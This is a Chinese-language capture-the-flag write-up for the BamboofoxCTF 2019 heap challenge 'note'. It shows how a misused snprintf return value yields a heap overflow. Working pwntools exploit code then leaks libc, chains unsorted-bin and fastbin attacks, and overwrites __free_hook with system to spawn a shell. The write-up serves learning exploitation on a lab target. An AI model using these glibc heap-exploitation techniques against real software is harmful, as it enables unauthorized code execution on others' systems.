BamboofoxCTF 2019 - [Pwn] note === - [Description](#Description) - [Reverse](#Reverse) - [Vulnerability](#Vulnerability) - [Exploit](#Exploit) - [leak libc](#Leak-libc) - [Rewrite hook](#Rewrite-hook) - [Reference](#Reference) # Description 題目出現 note 八九不離十跟 Heap 有關 ![](https://i.imgur.com/p9sQZUY.png) ![](https://i.imgur.com/3Ugzibk.png) 另外附上了 libc-2.27,是有用 Tcache 的 libc 版本 ## Reverse note 共有五種操作 1. Create - 最大只能申請 0x400 size 的 chunk,意即只能拿 fast/small chunk - 有一 global 變數 notes 紀錄每個 note,最高紀錄 8 個 note,記著每個 note 的: 1. 是否存在此 note 2. note 的記憶體位址 3. note 的長度 - **特別注意,是用 calloc 申請 memory,導致了申請時不會從 Tcache 拿** 2. Edit - 輸入 index - 若 global variable notes 中紀錄是有存在第 index 個 note 才會繼續 - 用 read 讀取輸入存放到 note,根據 global 所記載此 note 多長來決定讀幾個字 3. Show - 輸入 index - 跟 edit 行為差不多,根據 global 所記載此 note 多長來決定寫幾個字到 stdout 4. Copy - 輸入 srcIdx 和 dstIdx - 兩個 note 都存在的話,執行以下 ```c v1 = (unsigned int)snprintf( (char *)notePtr[desIdx].noteptr, noteSize_202068[3 * desIdx], "%s", notePtr[srcIdx].noteptr); v0 = noteSize_202068; noteSize_202068[3 * desIdx] = v1; // snprintf 不是 return 寫了多少字, 而是來源目標多長 ?! ``` - 從 srcIdx note 寫到 dstIdx note,寫多少字是由 dstIdx note 多長決定 5. Delete - 清除指定 idx note,這邊看起來沒什麼問題 ## Vulnerability 問題就出現在 Copy 中 snprintf 的回傳值 - 預想是會回傳 **寫幾個字** 才對 - 但回傳的卻是 **來源的字串長度** 所以若我有兩個筆記 A B - A note 長度原本只有 0x20 - B note 長度有 0x400,且先用 edit 將此 note 寫好寫滿 0x3ff 個字 - 此時再用 copy 把 B 複製到 A - **雖然只會寫 0x1f 個字到 A,但 snprintf 回傳 0x3ff** - **導致後面設定 A note 長度時設定為 0x3ff** - **下次 edit A 就能寫 0x3ff 個字** - **導致Heap Overflow** 阿至於你問我怎麼知道 snprintf 這 ~~bug~~feature? 其實我是亂賽賽出來的,給你參考。 ## Exploit 攻擊方式概念簡述一下 因為防護幾乎全開的情況下,只能朝以下去想 1. Rewrite `__malloc_hook` `__free_hook` 2. ROP 3. Others 走第一條的話則要有 libc 的 base address 所以 leak libc 是首要任務 接著就是想辦法搞出一塊 chunk 在 hook 的前方 再透過寫入此 chunk 來 rewrite hook ### Leak libc 想辦法弄出 unsortbin,他的 fd bk 就會是 libc 中 main_arena 的相關位址 在沒有 Tcache 前,Free 掉 small chunk,此 chunk 就會先變成 unsortbin 但有 Tcache 後則是要等 Tcache 先填滿後才會放到 unsortbin ```c _int_free (mstate av, mchunkptr p, int have_lock) { ... #if USE_TCACHE { size_t tc_idx = csize2tidx (size); // (size - 0x10 - 1) / 0x10 if (tcache && tc_idx < mp_.tcache_bins && tcache->counts[tc_idx] < mp_.tcache_count) { tcache_put (p, tc_idx); return; } } #endif ... } ``` 那就把 Tcache 填好填滿吧 ;) exploit 中把 Tcache 填滿的部分: ```python # Fill Tcache for _ in range(7): create(0xa0) create(0x60) create(0x10) create(0x30) delete(0) delete(1) delete(2) delete(3) ``` - create 後再 delete 掉就會填一個 bin 到對應 size 的 Tcache - 第二次 create 照理說會把 Tcache 中的 bin 拿掉 - 但由於 create 是用 calloc,並不會從 Tcache 拿,所以才能這樣填滿 Tcache 繼續看 exploit ```python create(0x10) # 0 create(0xa0) # 1 create(0x10) # 2, prevent 0xa0 to be merged by top chunk create(0x400) # 3 edit(1, b'a'*(0xa0-1), sendline=False) edit(3, b'b'*(0x400-1), sendline=False) # Write length 0x400-1 to idx 0 & 2 # It actually only holds 0x10 bytes, leading to memory leak copy(3, 0) copy(3, 2) # Make unsortbin delete(1) ``` - notes[3] 寫了 0x3ff 個 'b' - copy(3,0) 會將 0xf 個 'b' 寫到 notes[0].notePtr 中 - **並設定 notes[0].size 為 0x3ff** - copy(3,2) 是一樣的效果 - delete(1) 由於前面已經把對應 0xb0 的 Tcache 填滿,這一塊 chunk 就會變成 unsortbin - notes[1] 對應的 chunk 之 fd 和 bk 現在會存放 libc address 繼續囉 ```python # Leak libc show(0) r.recv(0x10) # 'a' from copy(1, 0) r.recv(0x10) # next chunk's head libc.address = u64(r.recv(0x8)) - 0x3ebca0 # fd print('libc: {:#x}'.format(libc.address)) ``` - notes[0] 在 notes[1] 前面,且現在 notes[0].size 是 0x3ff - show(0) 會寫出 0x3ff 個字, leak libc! ### Rewrite hook 這邊我有嘗試過 rewrite \_\_malloc_hook 成 one gadget 但 one gadget 條件不符合 又由於我們呼叫 create 只能輸入低於 0x400 傳進 calloc 所以改寫 \_\_malloc_hook 為 system,並輸入 `/bin/sh` 字串在 libc 中的位址給 calloc,來達到 `system("/bin/sh")` 也不可行 思維就跑到了改寫 \_\_free_hook 為 system,並將其中一個 note 內容寫為 `/bin/sh`,再 free 這個 note,就能達到`system("/bin/sh")` 這邊的招跟打 [CS_2019_Fall note++](https://hackmd.io/_Pu0GT_vRaywozC9KPgHzg#Note1) 這題的方式很像,差別是那題是 libc-2.23,沒有 Tcache。強烈建議看這一篇再回來繼續看。 繼續看 exploit ```python create(0x60) # 1 delete(1) ``` `create(0x60)` 再 free 他 - 因為有 unsortbin(size 0xb0),申請這塊從 unsortbin拿 - unsortbin size 剩下 0xb0-0x70 = 0x40 - free 他時,因為 0x70 Tcache 是滿的,且屬於 fastbin,會存到 0x70 fastbin 這邊就是造一個 fastbin,等等打 fastbin attack,回顧一下目前記憶體配置: | note id | size(含 chunk header) | 註解 | -------- | -------------------- | ---- | 0 | 0x20 | notes[0].size = 0x3ff | | 0x70 | fastbin | | 0x40 | unsortbin | 2 | 0x20 | notes[2].size = 0x3ff | 3 | 0x410 | 可以看到改 note[0] 可以同時爆改 fastbin 和 unsortbin 繼續 ```python fd = libc.symbols['__free_hook'] - 0x63 bk = libc.symbols['__free_hook'] - 0x70 payload = b'c'*0x10 + \ p64(0) + p64(0x71) + \ p64(fd) + p64(0) + \ b'd'*0x50 + \ p64(0x0) + p64(0x41) + \ p64(0x0) + p64(bk) edit(0, payload) ``` 如此一來,就改爆了: - fastbin 的 fd 變成 `libc.symbols['__free_hook'] - 0x63` - unsortbin 的 bk 變成 `libc.symbols['__free_hook'] - 0x70` exploit 快結束了: ```python create(0x30) # 1, Attack unsortbin create(0x60) # 4, Attack fastbin create(0x60) # 5 ``` - `create(0x30) # 1, Attack unsortbin` - 拿 unsortbin - 因為要求的 size 剛好跟 unsortbin 的 size 一樣,所以會做 ```c unsorted_chunks(av)->bk = bck; bck->fd = unsorted_chunks(av); ``` - 將 main_arena unsortbin 的 bk 設為 `libc.symbols['__free_hook'] - 0x70` - **這樣會使 unsortbin 爛掉,接下來的 exploit 若申請 memory 時動到 unsortbin,就會GG** - 將 `libc.symbols['__free_hook'] - 0x70 + 0x10` (因為 fd 的 offset 是 0x10) 設為 main_arena unsortbin 位址 - 如此一來就寫了 0x7fxxxxxxxxxx 到 `libc.symbols['__free_hook'] - 0x60` - `create(0x60) # 4, Attack fastbin` - 因為 0x70 fastbin 有東東,就直接從 fastbin 拿 - 巧妙避免因為動到 unsortbin 而 GG - 拿走第一個在 fastbin 的 bin 後,下一塊會拿 `libc.symbols['__free_hook'] - 0x63` - `create(0x60) # 5` - 因為前面 unsortbin attack 把 0x7fxxxxxxxx 寫到 `libc.symbols['__free_hook'] - 0x60` - 所以 `libc.symbols['__free_hook'] - 0x63` 為合法的 0x70 chunk 位址 - 我們就申請到一塊會從 `libc.symbols['__free_hook'] - 0x53` 開始寫入的 note 囉 申請到了就可以開心寫嚕 ```python # write system to __free_hook payload = b'\0' * 0x53 + p64(libc.symbols['system']) edit(5, payload) edit(3, b'/bin/sh\x00') delete(3) ``` pwned. 剩下加的 sleep 延遲是打遠端讓遠端 buffer 讀寫一下再繼續輸入 # Reference - [CS_2019_Fall note++](https://hackmd.io/_Pu0GT_vRaywozC9KPgHzg#Note1) ###### tags: `CTF`